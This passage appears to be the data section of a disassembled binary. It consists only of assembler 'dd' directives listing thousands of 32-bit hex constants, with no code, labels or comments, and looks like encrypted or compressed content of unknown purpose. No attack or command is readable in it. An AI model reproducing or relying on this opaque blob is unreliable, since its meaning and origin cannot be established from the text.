		dd 214DBB00h, 0B95214C8h, 56C184F6h, 0D6B3AE98h, 4B7B804h
		dd 5314E0D2h, 213BBF01h, 505B7DD6h, 9FD5A82Eh, 0DDE1DE6h
		dd 0F7B374BEh, 2BF8313Eh, 0AF68C790h, 2DEC254Eh, 501DEA70h
		dd 5CE5F34Dh, 1D46D6CEh, 431F5307h, 0F38BD0D1h,	0B94E5F21h
		dd 0B880AD8Ch, 5EE9779Bh, 9E25DE01h, 0C54A2DCFh, 2FB2E5EEh
		dd 34182100h, 4CB6E04Eh, 0D3A90B9Dh, 3AAAD9E0h,	0BFABF34h
		dd 0B9DF1D1Bh, 0C57E0946h, 2C28BA08h, 7A0A9B06h, 492CDAFDh
		dd 9949673h, 0A5E7EC5Eh, 4B1DE3FFh, 0B53550C7h,	0BCB725AAh
		dd 54FA1DD1h, 0C1794DAFh, 2E34418Bh, 0DEC062ECh, 5F1DA68h
		dd 5250C712h, 2D0A88h, 248539CFh, 3BC5B77Fh, 0E6310F2Fh
		dd 691A9539h, 0BDAD2FDh, 39191225h, 70C0FDEDh, 5EABA57Bh
		dd 40F6E3CFh, 0CA960DCFh, 0D720A94Fh, 0DBF6B86Eh, 63BCCA26h
		dd 0EBD1006Eh, 7079A60h, 0DC3AA07Ah, 0A9FC22BFh, 0F51E63D7h
		dd 7E053583h, 97713D2Fh, 0A51047A5h, 0F10020F9h, 7B3A095Fh
		dd 4F9B8627h, 0D51AC87Ch, 9F403B05h, 24FEB0E7h,	0B89DA918h
		dd 0B40F4873h, 6AB7B55Eh, 0F3FCEBEDh, 1E2D6D02h, 57F53C0Ah
		dd 0F6616484h, 0BC77E0E7h, 0F56D09EBh, 22D1292Bh, 0A19D0B61h
		dd 0DF52F32Ah, 8962C2E4h, 25570E1Fh, 468EAFE9h,	1B6A2AE9h
		dd 2397200h, 20FED821h,	0BD898C04h, 9EAA2F71h, 0F2EC9672h
		dd 7DE380A0h, 4424149Dh, 56B7530Ch, 5BDA62A9h, 0F54AD296h
		dd 517AEFh, 5FF71A49h, 253CF1BFh, 7D46FF12h, 352D0975h
		dd 0D945F2Bh, 49581F9Bh, 0C9CCE335h, 0EF810226h, 3AE9BCB6h
		dd 0D72D605Eh, 2200D5BDh, 4B9CEBCDh, 10354C83h,	0F54E0122h
		dd 4E206ABEh, 159998h, 17BB50FCh, 8962F4C7h, 6EFF344Bh
		dd 0C5B25BECh, 5ED9FC96h, 0BAB5E7BCh, 938D6074h, 80ECEC2Fh
		dd 796C5C57h, 9DE4B523h, 0CAFD5F5Eh, 589315ACh,	2223DF0Eh
		dd 5701FDBDh, 8F9D4A4Eh, 787A8903h, 4F4F95DEh, 594BA260h
		dd 0BAEC251Dh, 0E97B190h, 48DB8A12h, 3F69C9FFh,	0D3420DB6h
		dd 0DB31EB4Eh, 5FF4ACF0h, 0C21A00F2h, 6BDCB239h, 8997DF3Fh
		dd 70C753FAh, 91003C1Eh, 0C40B3646h, 988D8CABh,	8A9208Bh
		dd 76FC0B97h, 0E400DCDDh, 0A16BFEA5h, 2537D431h, 0B05F34B3h
		dd 851CED2Dh, 0D78C0F09h, 0F504796Eh, 0D1102FA0h, 7A2EA230h
		dd 0E15F3124h, 59B95B13h, 0AE1C9D13h, 1795B99Bh, 0F3858CC5h
		dd 0D5204E93h, 0F697DACBh, 7CAE00DFh, 2F2599E8h, 6958FD4Fh
		dd 0D44B0970h, 61A77611h, 7AC72B3Bh, 0BB5033DDh, 0E76DBD31h
		dd 0B03F5B59h, 1B41C9D9h, 0B691D720h, 302D623Fh, 40276F5Fh
		dd 0A1FDD74Ch, 44F89327h, 0F47B021Eh, 0BEADDB75h, 0BD40AFFCh
		dd 0BFB08Fh, 7A0B3CD8h,	0C0D249ECh, 0AACDE02h, 5E5F8D12h
		dd 103251C4h, 5B85360h,	7E64F037h, 1FACE25Fh, 55400A32h
		dd 972C7A4Bh, 2A5E00B4h, 8A25F2E0h, 29276AA0h, 40484261h
		dd 3B735357h, 0B0CE43CDh, 52BF9D56h, 2CF19DE5h,	0FBFB9754h
		dd 0FF192A09h, 11567C9Ah, 661D1D10h, 0F7F192BBh, 0F6A4EDEh
		dd 69F91107h, 0B353F129h, 0AE6B3AE2h, 61001C23h, 5AFC9F4Fh
		dd 0C6221243h, 1CECF330h, 9569D29h, 2B1738BFh, 0D11E4BD3h
		dd 40D59C22h, 0E01170B2h, 998D1302h, 0F7169B10h, 928087ECh
		dd 64B72FBDh, 8D89097Ch, 0E1790E29h, 0F51D4E9h,	8B65C5BDh
		dd 7CDEEFF2h, 0B99BC982h
		dd 220A3902h, 0D750319Dh, 2D5B563Fh, 6537C1h, 0D1E7368Ah
		dd 7B0AD3E0h, 636561FEh, 2ACD4A7h, 4616BC14h, 4DE91C74h
		dd 0A05D49D9h, 6623EF19h, 0EEB205BFh, 0AF05B501h, 90C8A657h
		dd 786901F6h, 562233D3h, 0FB7EF07Bh, 0B1020BF4h, 5C9FEF4Fh
		dd 0AC077D14h, 345E3256h, 8035D15Fh, 8AE43885h,	0F5951049h
		dd 2970968Bh, 0FAAFA4B7h, 9DCDF113h, 16B5901Ah,	199C47BAh
		dd 23C669C3h, 9700BE79h, 0A9AD9C75h, 95FB8B51h,	7904E487h
		dd 9F4945Ch, 898D293Dh,	375A595Dh, 7AB7E35Ch, 6D2404E1h
		dd 1BAB8E1h, 47EE13EBh,	6F388ED7h, 0B1BC61EDh, 0EA66EF2Fh
		dd 1A76951h, 0A24EF86Ah, 2E9AAD55h, 2F7AB56Bh, 4BC00E9Eh
		dd 19074FD9h, 9B7AB812h, 8BD1FD02h, 51605EDFh, 5C0266Dh
		dd 26A7629h, 3849578Ch,	0BADE72A4h, 5290B331h, 202F0C21h
		dd 0DA786A21h, 8362063Eh, 0E7E68EFDh, 0ED7BD041h, 2B011DBBh
		dd 905F8904h, 65DD391Ah, 4BB3A667h, 2F426FCh, 0BD29D3CFh
		dd 490E3459h, 0CF5B7964h, 0CD255168h, 3701C0A6h, 0F3F88656h
		dd 817B481Dh, 0A309D317h, 7061FB6Ch, 24B089D9h,	0FFF71A4Ah
		dd 40711350h, 0BF0F9016h, 297F7048h, 531A2F50h,	6180A19Bh
		dd 7C5033E9h, 32B62A26h, 52885806h, 0AB92070h, 6BBB5F4Eh
		dd 1CB4716h, 952957DFh,	9B3D1F05h, 0BF264D17h, 0D97A5729h
		dd 239B425Bh, 9122375Dh, 0AC3B8219h, 165A54B1h,	0C307A6Ah
		dd 0C010F976h, 0E21C48E5h, 0F0A70ECDh, 0CA02C6Dh, 45B730D9h
		dd 4C1C1198h, 2EF91053h, 95F0B030h, 0E68018D5h,	7A91B770h
		dd 47E5E46Bh, 39A9405h,	0D7049685h, 0E2FBE6AAh,	0B4F11CC0h
		dd 0A2ACB600h, 0E628FF18h, 0E4010465h, 0BDD88A71h, 31DC31B0h
		dd 0D52A9D33h, 46B4AB69h, 6330476Dh, 1541A8h, 0EB81C1D7h
		dd 44E6F7E8h, 18778997h, 14DB19h, 3EA10E7Ch, 0A8EE9A81h
		dd 82D0B34Bh, 840F25BDh, 0E8407394h, 0F90882h, 0D2E04AE2h
		dd 8E19A5D1h, 9B5B8A00h, 5DA7B1F3h, 0A88B7DB3h,	0DDC236h
		dd 6EFD72F1h, 221DBF5Bh, 6CE9101Ch, 974EB029h, 334C520Eh
		dd 8AB35D00h, 97BD3152h, 0DD256E7Ch, 0D2F30890h, 29BBCD4Eh
		dd 0F9C80857h, 0F939E927h, 72C6A505h, 0C9554F98h, 59E83AE4h
		dd 16CDF2A7h, 89286557h, 308FAB7h, 0BD093B54h, 0F45E172Dh
		dd 80CAE350h, 0BBB3F88Bh, 47699F80h, 4BA9EB68h,	0B94FCCBCh
		dd 3AE8B65Dh, 7CD6E4BBh, 0E64E22BCh, 7EEEE057h,	201A90A8h
		dd 0FC4E3439h, 7200136Eh, 75743C53h, 0F604FC5Bh, 8D095CEFh
		dd 3E341EAh, 0EAD9Dh, 748AC02Bh, 0BFD202FDh, 38F874DCh
		dd 73DAD45Ch, 888A518Bh, 2A0FE5D6h, 0F6164A94h,	855E7EACh
		dd 9796C38Ch, 1A557E32h, 7E6075E4h, 769703D8h, 1389C2A8h
		dd 53503B1Dh, 75FC1Bh, 0F40DC726h, 0AE749F17h, 85454B03h
		dd 0B180D6B8h, 6721F387h, 62A4F420h, 2F3DD25Bh,	0FD09320Ah
		dd 71795E11h, 80F72E96h, 4E5C17B2h, 1B46D4h, 0D59DB01h
		dd 482869C6h, 5A788352h, 0B4EEEC08h, 0CEC004DAh, 0A1A659E2h
		dd 0E1FFE613h, 0F6B820FDh, 3D6FB401h, 0FD7BE89Eh, 0E056282Eh
		dd 0C1BA76B5h, 0C0083381h, 0AA03EABAh, 36D5CA83h, 1651DA18h
		dd 7604DB27h, 4D00F463h, 0D635A07Bh, 0A8BCB8BBh, 7B370643h
		dd 2482B8C5h, 765E14h, 8F72FB69h, 0FD27B501h, 71AF741Dh
		dd 1CC80F5Ch, 858D4C0h,	12C8EC8Fh, 4E1714Ch, 4171149h
		dd 0F3F4810Fh, 50C1B750h, 34843E5Fh, 753213CDh,	0AD99E000h
		dd 0E27565C4h, 7FD26E01h, 5B53DF15h, 92D4D56Bh,	115D099Bh
		dd 0F82AF828h, 29AA5B9h, 837ED2DDh, 0AE843DEAh,	5F603A72h
		dd 267387B3h, 0E93B769Fh, 0D3911A00h, 125B8B0Fh, 2102B6E7h
		dd 15C0EFEAh, 0B511D0D7h, 8902026h, 9F20504Fh, 71A15F59h
		dd 0D4E1005Dh, 0B56EAFE7h, 45028B06h, 0D8D781C5h, 7ACD7F90h
		dd 5496EDC2h, 0E229647Eh, 85011241h, 6A9482ABh,	2DE6FFEh
		dd 398068CAh, 1A57B34Bh, 9E0F88Ch, 4CD3CA7Fh, 4FB9E4B7h
		dd 0E6F1C4C7h, 0DA2AFB8Bh, 0C917C893h, 9E595855h, 0AA94095h
		dd 0F524924Dh, 45080AFAh, 4B9240Bh, 0BA3591BDh,	0CDFB0575h
		dd 2826095h, 0F24C9Dh, 0A53FD16Ch, 4B10A967h, 0ECF8775Eh
		dd 4BDF00AAh, 1BE75084h, 17EA17B9h, 49450405h, 0A74BA15h
		dd 0A168Ch, 557036FDh, 0E758C953h, 4D789304h, 0E6BBEA08h
		dd 9016A224h, 0AC22F4Ah, 758D013Ch, 0FA8B8B93h,	0A7D3B55Dh
		dd 3B0648CCh, 59062301h, 80D176E2h, 0C41E6EBFh,	56FF41CCh
		dd 0DDDCB059h, 0FC509F3Bh, 0CDA3B395h, 2D45A1EBh, 5BB8DBh
		dd 333754FBh, 30AC0C66h, 40FA9095h, 2B120ED0h, 4660EC3Ch
		dd 29A9E1B8h, 0C5758524h, 0E4095B8Eh, 0CFB91ECDh, 0F83A44Bh
		dd 6FF2314Ah, 0F6493804h, 8A82AE92h, 0FA5BE050h, 946774B6h
		dd 0D2E42C7h, 0C31CD457h, 6C859ADh, 97F0349Dh, 0C211FF25h
		dd 0DA6EFBDEh, 8B7DFC57h, 0F4021CFBh, 1C5D24E9h, 23BF060Dh
		dd 0B85FE52Bh, 0C31BDF78h, 0D0598B60h, 0F8FE58BBh, 0E0BD902Bh
		dd 89DD378Ah, 0BD65DF1Fh, 5BE7BB05h, 0D3B5311Dh, 0B7DD2026h
		dd 0FD4E8AFBh, 0AB5C2DFCh, 69AF1880h, 59259777h, 0E4ACC7C1h
		dd 0EA38601Bh, 8E0A0EA0h, 0F8F90EF5h, 89ED3A09h, 998D31C3h
		dd 4C06B54Ah, 7E7CAA1Eh, 5006B59Dh, 0DB091A53h,	5E5F115Ch
		dd 20CD7AA5h, 0A6FDFA60h, 22DD1E0Dh, 96D6650h, 1F481191h
		dd 1C971F75h, 0E14970ACh, 0B867B92Bh, 223A3AE6h, 0C9BD038Ah
		dd 0E17AB98Ah, 0A09AF72Fh, 4BE78027h, 0E9EA8E8Ah, 96809A2Ah
		dd 45392404h, 2B58F1AEh, 8B9CBD28h, 0DCFA2029h,	57048C62h
		dd 0B340FCEFh, 5E21DFFh, 0DA7AC146h, 0F1738180h, 89990516h
		dd 1A192541h, 0A0F1BC2Ah, 9DBE6AF3h, 0BB02FF7Bh, 0FF53E7A5h
		dd 920B784h, 8502715Bh,	0AB87C780h, 0C7F034E7h,	7A263DF3h
		dd 7C65992Eh, 0ECDBD5FAh, 37858084h, 48A2FFAh, 0E4C9C722h
		dd 36BDAA55h, 0D2B6B260h, 5158505Bh, 52C4C0EBh,	5E7481Fh
		dd 0C8D7B183h, 139EAF5Bh, 3FE4B4D7h, 0C8B70C00h, 9D23A4DEh
		dd 0AE2A52C9h, 99643092h, 2E393D3Fh, 5D292F83h,	1915F035h
		dd 7ECE899Ah, 52F54586h, 0BEDEFACBh, 0C21B7A80h, 0C79AB3F0h
		dd 4EE2D058h, 612109EAh, 0BB1ED573h, 0E381C900h, 979A1443h
		dd 0B5EB0D7Eh, 58E80079h, 21419D0Bh, 0D39AEE9Dh, 9384AA18h
		dd 6E4AB9ACh, 38D90E86h, 0B55E60C8h, 19A6A076h,	25018F0Fh
		dd 0B9122EF8h, 0FAB8ABADh, 0A8F7EB4Ah, 0AC9CE95Fh, 63FE1C6Dh
		dd 0CCC62532h, 0E2EDF95Ah, 0A216E6A4h, 84F9F110h, 0EBD98B50h
		dd 22CF90DEh, 1EA9CE0h,	6EE1B59Dh, 9ABF8F8h, 516487E6h
		dd 37DC01B7h, 0ECAB9C4Bh, 4D00EF2Dh, 750B8DA5h,	131620A8h
		dd 0B3177682h, 0E5B33870h, 0E1FE85BCh, 70F23AB4h, 0E60235A8h
		dd 69CA5FDCh, 51BB5C84h, 95881673h, 2340BF79h, 7E0AF0h
		dd 32062AACh, 4A046F85h, 4557F209h, 77C2FDA9h, 0EEE0A54Dh
		dd 1158F508h, 309E943h,	5456D56Ah, 941A90A0h, 820F146Fh
		dd 89255320h, 5F193ADDh, 7AE6E2A1h, 753AD8B9h, 197E4105h
		dd 0FBC0EDB1h, 58B5EA67h, 0EBA0255Fh, 997E9CAh,	480D71CDh
		dd 350D08C5h, 45DF8100h, 9D700A7Ah, 56C9677Ch, 274AD42Eh
		dd 6E8C76EAh, 38BFFD4Bh, 0C2E19E05h, 73885BFFh,	9D33D2F8h
		dd 742A4927h, 1D5C5A58h, 173800D4h, 4E708943h, 0BF4E6664h
		dd 5D7888h, 9EB927F4h, 39A8440Ch, 0C8F5F800h, 695EE56Ch
		dd 87789FD0h, 9B81F2BEh
		dd 23BDF35h, 2783B23Bh,	40A86FC6h, 0FC86FE46h, 50F27325h
		dd 670B9597h, 45A36F57h, 77A86214h, 1D0BD7A4h, 0E95B584h
		dd 0F1E1121Eh, 0B874394Dh, 4572907Bh, 80637810h, 3D560CB0h
		dd 0F2710F3Fh, 0FF224F2Ch, 21F1C18Bh, 0CAC99F12h, 1F25FAEEh
		dd 38595FD6h, 0E9E10156h, 0D2757433h, 0B63F3903h, 0E084F61Ah
		dd 0D7A94Fh, 20A2F25Eh,	6E0E238Dh, 0E0F2C750h, 862F4D00h
		dd 0F479FB2Ah, 0C5B70058h, 0C6E8C28h, 0A20FFC61h, 1E65AFEFh
		dd 512B07FCh, 131CCAC7h, 90581D4Ah, 0D2A00732h,	5CC410DFh
		dd 74003130h, 9549087Ch, 99F86h, 0A2FAB7Bh, 0BB51C372h
		dd 9601B977h, 0C62B441Eh, 0CBCD5009h, 0E5BF2C4h, 935F4530h
		dd 8D854140h, 0AD7A370Fh, 23BD38C0h, 0C3F32E6Eh, 0CDBCE628h
		dd 4703378Eh, 6977CF5Dh, 0C01F9ADFh, 0E34E43FDh, 0C33F2F80h
		dd 1A534A79h, 0F2AFE700h, 58E13AECh, 0C45A00E5h, 0D6A4486Ch
		dd 0A970430Eh, 447536F2h, 90E80F01h, 0DC9CB31Dh, 5DB4C0h
		dd 0EC1007DFh, 4749B4Dh, 2DCF6900h, 23ABD165h, 0D96F0009h
		dd 0FD98B64Fh, 0FF01E3ADh, 0FCA5F931h, 92403DE1h, 1FB554B8h
		dd 84679C64h, 0C962DA84h, 0AA8109Bh, 441C981Ah,	0C55B4B3Eh
		dd 4EDF9936h, 2AC831E0h, 18AD8A79h, 2064B8FAh, 0B2605BBDh
		dd 54C5C2B6h, 0EFE35Dh,	58EDB71Ah, 0CF2BFE7Bh, 0E404FC1Fh
		dd 9062844Bh, 4A4057h, 7E08D4A6h, 993DBFD6h, 2F0B8900h
		dd 0C915678Bh, 1795008Dh, 481482CFh, 1D3AD5A7h,	789C80F1h
		dd 2BC17302h, 1EA43C49h, 4439DC03h, 4DF06CEFh, 0C700551Ah
		dd 298D657Fh, 31AC7004h, 9444A12h, 2E75E87Ch, 0E3245F00h
		dd 1D31E54Dh, 0B4380169h, 63235E68h, 0ADC68007h, 73D361F7h
		dd 0A62E00B8h, 8D17EF91h, 900039A5h, 3ABBC154h,	27C9Eh
		dd 0FE809622h, 0E38AB626h, 97BE3614h, 0EB7300B6h, 0D8EA3ABAh
		dd 48DD2A10h, 92E56081h, 992F49E3h, 0E709450Eh,	0E80CE195h
		dd 0BB80B541h, 83F91CB8h, 0B30146F2h, 0D16B75C9h, 7F25E0A0h
		dd 78672C4h, 0BC800212h, 0B859000Ch, 0B8A0DA38h, 0ED8B3BB6h
		dd 0AA4D8020h, 977200D2h, 528DC7Dh, 4452FE77h, 3E9912C8h
		dd 811D0040h, 0C0FABAF7h, 0A0881A6Dh, 59009D3Ch, 1B3312CCh
		dd 0C57A5C5h, 5FD8289Bh, 0F2A416F0h, 0A44AAC00h, 0EE36B4ECh
		dd 0E1A131D0h, 4071334Bh, 37C5F1BEh, 0DDF94500h, 981C7539h
		dd 7AAAA10Ah, 1413CC0h,	0D34CAE4Fh, 24D80CADh, 91013D92h
		dd 5B25CA80h, 894E79C5h, 0DF48EB00h, 0ADD9544Dh, 5937B507h
		dd 3DA0FB4Bh, 6B243h, 0CBBA8AF4h, 2873AEC9h, 16968F04h
		dd 48C082CEh, 157B30h, 0FD178674h, 0FF039A5Ch, 55FEFC00h
		dd 0A3DD7398h, 0B3410043h, 0BFB95347h, 70039A36h, 46E87406h
		dd 1EDA9834h, 64F600C2h, 6B8ECA1Ah, 6A501227h, 0AA004CB3h
		dd 0F51B0CD0h, 27C9054h, 971368FEh, 0A98029CFh,	0F812D677h
		dd 52F77E01h, 8C1A2272h, 0B05733C5h, 1D587DF9h,	99ADEC18h
		dd 4B3F65E4h, 3993EAE7h, 0D6DA0E9Ah, 1F126FCBh,	0A6344E4Fh
		dd 4288148Ch, 0A749A0Ch, 509BCE2Eh, 0A8BF8Ah, 82C65440h
		dd 1898096Fh, 0F848AC60h, 618614AAh, 77A98BEh, 891B8087h
		dd 0E2B9851Bh, 0C9FB13A2h, 2EDE0023h, 5366FDD1h, 0B5478B03h
		dd 75BCFCh, 0E24E5430h,	2F5AAA1Fh, 0A70ED8D6h, 20822C4Ch
		dd 12DE3DC4h, 0EB97904Bh, 0D797BAB3h, 9C6D7A90h, 1543C48h
		dd 76CED4B0h, 11800F8Fh, 0C3FDE06h, 0DA126CFBh,	684207A7h
		dd 4075AD09h, 607BCCEAh, 15AF5D8Fh, 25C11C9Ch, 4042AEF4h
		dd 40F1AE4Ch, 0E31EC193h, 0DC80B703h, 0EA592EBCh, 0E2C5EAB2h
		dd 4FB6C93Ch, 0F0313C87h, 0A478FA10h, 0ED831A00h, 0C90DE845h
		dd 2CDD0C15h, 6B2EB18Fh, 65B93B13h, 0C65D3D20h,	57D3001Dh
		dd 2A4A4142h, 6037783h,	0F18B6B12h, 0BAD8380h, 4AC8D83Ah
		dd 16248820h, 9614C964h, 0CA0C9Bh, 30664D35h, 55A9FBh
		dd 5DA1D379h, 479FDD71h, 28330B4Dh, 0FF26D5C2h,	0F5251904h
		dd 75C718C0h, 2877ED01h, 0FE44E9BBh, 125A844Ch,	384F64h
		dd 6115D427h, 54039450h, 5C66BE3Ch, 0E8E4F0CEh,	0DB042h
		dd 0A77FF913h, 35D28C19h, 5EDFDB00h, 93E90DC9h,	51B0B3h
		dd 98F74208h, 4F178732h, 0C1F2574Ch, 989F87Eh, 0BE8B6CDh
		dd 920F1899h, 0A0021112h, 310063ECh, 0FB85591Bh, 0F2C3BD53h
		dd 6C2C3265h, 0AA40A427h, 0FC091480h, 8471A67Eh, 45C17A27h
		dd 98E062BCh, 2CE4F095h, 80DFDD49h, 0C61DB75Fh,	0A01D14DCh
		dd 0A30BE88Ah, 4046760Ch, 2C823BD2h, 37178B02h,	5FFBC921h
		dd 0E5DD456h, 1C104D41h, 0E5C4242Ch, 0ED32C581h, 680CD00Fh
		dd 142F7A71h, 550FE0F3h, 0B1C11CFh, 44060050h, 835E10h
		dd 613501E8h, 53E396Ch,	0C5374200h, 58C289A7h, 33EC5181h
		dd 54C624E5h, 0A0A20A6h, 4825685Bh, 0A921B037h,	7C0FB477h
		dd 4E08438Fh, 120A746Bh, 0E2FA1C8Bh, 0C838C24h,	5C1EC387h
		dd 5AA234FFh, 41085C5Fh, 2016FAE9h, 0B809F051h,	7DEE6441h
		dd 9E00EF5Ah, 0E12918ABh, 4308B2h, 0DE3EBD7h, 5049E6B8h
		dd 300079FCh, 3454D53Bh, 3DE47C69h, 0F852D3h, 0B9BD4B77h
		dd 9ACA1978h, 0CF477507h, 1CF0E098h, 14F845Ah, 614B919Ch
		dd 0D03F078Ah, 682D26B1h, 38D0462Eh, 90CF9D03h,	50FD8AB0h
		dd 70806BE9h, 5F49561Fh, 0E85AE96Ch, 6A5F073Ch,	19359D89h
		dd 8014CC6Bh, 0F8666D7h, 69D567BFh, 56F5F4Ah, 0E5EB5144h
		dd 0B0EC2E04h, 8F19DC7h, 22BF500Eh, 7F533739h, 0F94B085Ah
		dd 92C39EEAh, 94E01ABh,	45200D85h, 380EFA70h, 293FF049h
		dd 8E0BFFCEh, 0F4CFDD61h, 9BB0DE0h, 5FD7382Eh, 0E1C85793h
		dd 0A8A3A52h, 22758962h, 2F948608h, 12D13144h, 0E82F2B41h
		dd 77B0B2A8h, 0F78E73BDh, 0E45800F6h, 27FDBDAAh, 80D59A9Fh
		dd 8D890270h, 0B5B3D261h, 0CAC57EEAh, 0D48078BCh, 0C5AB4B84h
		dd 48B85B5Ah, 0D0254EB6h, 0A3E4D761h, 301CC300h, 9F6096B0h
		dd 22FC00C7h, 77203B9h,	0FD2DA4C2h, 0DD44A0h, 0D496FC7Bh
		dd 772EE9B2h, 23E64202h, 799CAA3Dh, 0AF6600DEh,	61BC75B7h
		dd 1EADBB04h, 6BFB5B5Fh, 152360h, 0D98AD623h, 0DE9DCEE9h
		dd 66E158DEh, 0D33DB5h,	0A8484A5Ah, 7409651Dh, 0D6F853FCh
		dd 3366CB25h, 9F033522h, 315CCF5Ah, 0DC122786h,	8B5D524Ah
		dd 74C5DDC4h, 0E1530B1Fh, 5A9D0CA4h, 0BBF91201h, 1D8AC2DAh
		dd 84FC4067h, 0DF029D33h, 0B6DB48D3h, 8D298E5h,	9FEE019Bh
		dd 0A7CBA145h, 80C43C47h, 9C5B5588h, 0BB02019Bh, 6A45C334h
		dd 61D2AFFh, 0F1AAB512h, 0D357E20Dh, 1D3411B3h,	0DC67BD89h
		dd 8B794B61h, 0FECB8180h, 317BF147h, 65F870E6h,	73B83F31h
		dd 5FC8E78Eh, 2F570946h, 0BBDEE0B3h, 11DD36B1h,	50BA5B01h
		dd 7541DF2Fh, 8B4C510Ch, 2DEF4EC1h, 3F43AEE7h, 1A3E0E78h
		dd 0AC20CFEBh, 8728E4h,	0FAAEB506h, 25439360h, 334505B5h
		dd 0B29D208h, 477C82Bh,	8B051DB4h, 5F6F2D1h, 1A2960B0h
		dd 2B3E4C80h, 1E350778h, 0E9A9C742h, 7ED98957h,	0C1FE49DEh
		dd 56142540h, 1CE600F5h, 0BEB1F805h, 0C81F06E0h, 0C5C54FC7h
		dd 2CBA840Fh, 0F4B75B08h, 541240C8h, 1B56FCCh, 4947555Fh
		dd 8D38040h, 0E72978Eh,	77C612C1h, 14B861D1h, 145B8C5Ah
		dd 5E79A4A6h, 787D5B24h, 72FA6915h, 80234261h, 356A7BEBh
		dd 29E3AE66h, 44742E28h, 9E7BCB07h, 82614A9Dh, 0D45BDBA6h
		dd 90AECC6Ch, 114A1E4h
		dd 40649589h, 71B78DF8h, 0DA996293h, 0D4B05612h, 624F1B7h
		dd 687126F7h, 0D50B2D25h, 0DC805F3Dh, 0EC218E7Eh, 0CE9097DEh
		dd 2600E97Ah, 3A57B103h, 5E23ABB9h, 5F81CC70h, 1629DCF3h
		dd 0DC15F4B7h, 0BBCDB195h, 5B81660h, 0F49E7133h, 0F8C8AA09h
		dd 0B05BB9h, 0A3B3BB31h, 0F6975C1Bh, 2FFB9D01h,	7770FB53h
		dd 0DFE700C4h, 5BD3C0BDh, 36EB2B62h, 7F9BF0CAh,	0B85804A4h
		dd 84C247B3h, 92371D51h, 0D79CBF8Dh, 0C9A7002Dh, 0ACDBAE84h
		dd 9800CD51h, 27E80A02h, 0B57CD2ADh, 847308ABh,	0B656778h
		dd 99F06836h, 5902BB64h, 0ACC1C05Bh, 37CD5D97h,	0BDA9DD2Fh
		dd 442D22F6h, 0EF2EB011h, 7823292Bh, 0D3F980C3h, 4CF8C5A2h
		dd 66007AF1h, 0BFFE91A4h, 685AE386h, 813830EFh,	775AD7C7h
		dd 0D7DF16CAh, 0F08FBBDFh, 0EFD61B4Ch, 0B80F9A71h, 807B9F3Eh
		dd 0D787DFB1h, 80100DCEh, 0E8BA6CCBh, 4C9D27B6h, 83134439h
		dd 0D3F7EE17h, 36E70AEh, 0B9008BBAh, 0FF3E627Ah, 7CE7BFE1h
		dd 8A1A5ACDh, 0A9ED34B8h, 8F84B2FEh, 7AEBD2FAh,	0C7620171h
		dd 4F6B8C89h, 968B286Ah, 0E8E07DE9h, 68FA59E7h,	60A24E09h
		dd 8FC0354Dh, 50F31470h, 2FC5BAD8h, 0D05AD21Eh,	2F3797h
		dd 0AA30D6E8h, 0AF007771h, 314C873Eh, 0BF071195h, 0CD27AB7Bh
		dd 0A91B45CBh, 90222C4h, 1249B509h, 9F604E5Fh, 6DDF9889h
		dd 5712E01Ah, 5C25D7E5h, 0DC8E1F8h, 0DA98F510h,	66FE2600h
		dd 0CF555421h, 0A7AC2FF1h, 0F391B65Ah, 74238F80h, 5E64E02h
		dd 0AC148B27h, 368FCF8h, 86443ABBh, 68A2005Bh, 0C7CA10B2h
		dd 13131BBFh, 0AF80538Eh, 4A54F34Dh, 0E0AEF638h, 0E2CDC4D5h
		dd 2C2E093Ch, 3785FDEBh, 7565C1FEh, 0A7A93F0Bh,	1FCA05D6h
		dd 0AB6EC4EFh, 82E04BA7h, 1F0069C7h, 8F8BE019h,	5A5FFC53h
		dd 9C26A829h, 5301C289h, 6ADDD1BCh, 57D47234h, 0BD9560BEh
		dd 25851A71h, 0E7C0D34Dh, 360734Ah, 0DE4ECA92h,	62218152h
		dd 90F527FDh, 1D9B767h,	0B2BF0689h, 2F306374h, 1AA8DFBDh
		dd 0A110C2E1h, 602E0008h, 0BF3A0E87h, 0B265AACh, 0F1020513h
		dd 0D42654E5h, 8B600128h, 1008E9D9h, 3DD39B7h, 1F48A7B6h
		dd 0BA10612Eh, 0F35B353Dh, 7F3B128Ch, 0ACA420E9h, 43B313F0h
		dd 0DE2AE4F1h, 4B47C09Ah, 2E72D8Ch, 0A14473EEh,	0E27EFE8Bh
		dd 18AF6651h, 0C1808271h, 8F60FEAh, 0AB954BEDh,	0DE8BC181h
		dd 2CDBA27Fh, 10376753h, 0B2A26004h, 70AFA900h,	2D09A8F4h
		dd 0D2AB824Ah, 5970546Ch, 5861601Ch, 0B327A3A7h, 98ABC40Bh
		dd 990BC7A6h, 0D069518Eh, 12949FC8h, 658B54BDh,	8044BC90h
		dd 196BF660h, 0ECAB0164h, 741D31A8h, 0ADE86A54h, 6501BF80h
		dd 5B3B78C8h, 20088250h, 779003E7h, 15160D37h, 8E641840h
		dd 93FEBF0Fh, 2DC12EFCh, 2DE5CD4h, 73EB5A94h, 677D10B3h
		dd 0AFBB05F0h, 989AFBCBh, 6D16013Eh, 0B914A412h, 44E20E41h
		dd 1ADE9DC1h, 0AE07E975h, 1A2B1835h, 0F31F502Fh, 31EE0C06h
		dd 399B47BDh, 0D2D30427h, 0A52671D0h, 3E588B5h,	7CB5AFA2h
		dd 0CA81552Bh, 339D7F8Ah, 3CCC17Ah, 0C4303FF9h,	276D3DBFh
		dd 0F2C63B8Ch, 25B29183h, 924C4E5Dh, 0ADFDE5E0h, 0FAC0157Fh
		dd 0FED92880h, 0B03A2D37h, 0F372090Dh, 0BF87F87Eh, 778637Bh
		dd 0B3B001D3h, 9D3329DFh, 4ABC2865h, 0A3A8A5F2h, 0DD06100h
		dd 0A84F34D7h, 0BF66381Ah, 0AA899592h, 9AFAABD4h, 0CAECD5C6h
		dd 5099882h, 0C0BBF532h, 0C4B1877h, 0DBC255F2h,	7B77A611h
		dd 0E14E5288h, 7493B00h, 0A640EC23h, 0E3174EAAh, 13FB5045h
		dd 982C1B25h, 2F9D0364h, 8EDC24FDh, 0B0B09DD4h,	5B31ED1Eh
		dd 23A1E8F5h, 663AD92Fh, 0CABBB496h, 0EDF52714h, 601C6489h
		dd 1227D90h, 15980630h,	21036502h, 801024CEh, 0E660C327h
		dd 0A7FC5B95h, 30BEA0D2h, 0A7994E42h, 7BD8259Ah, 181A5991h
		dd 12D601BAh, 89CB83E1h, 5A33B96h, 263C0500h, 65D40F38h
		dd 47BF4500h, 92BB93EEh, 686A2502h, 0DF71857Dh,	0E1FBA6EFh
		dd 237B59ACh, 64CA0531h, 0BE8BCE80h, 7805C61Ah,	0C92D4686h
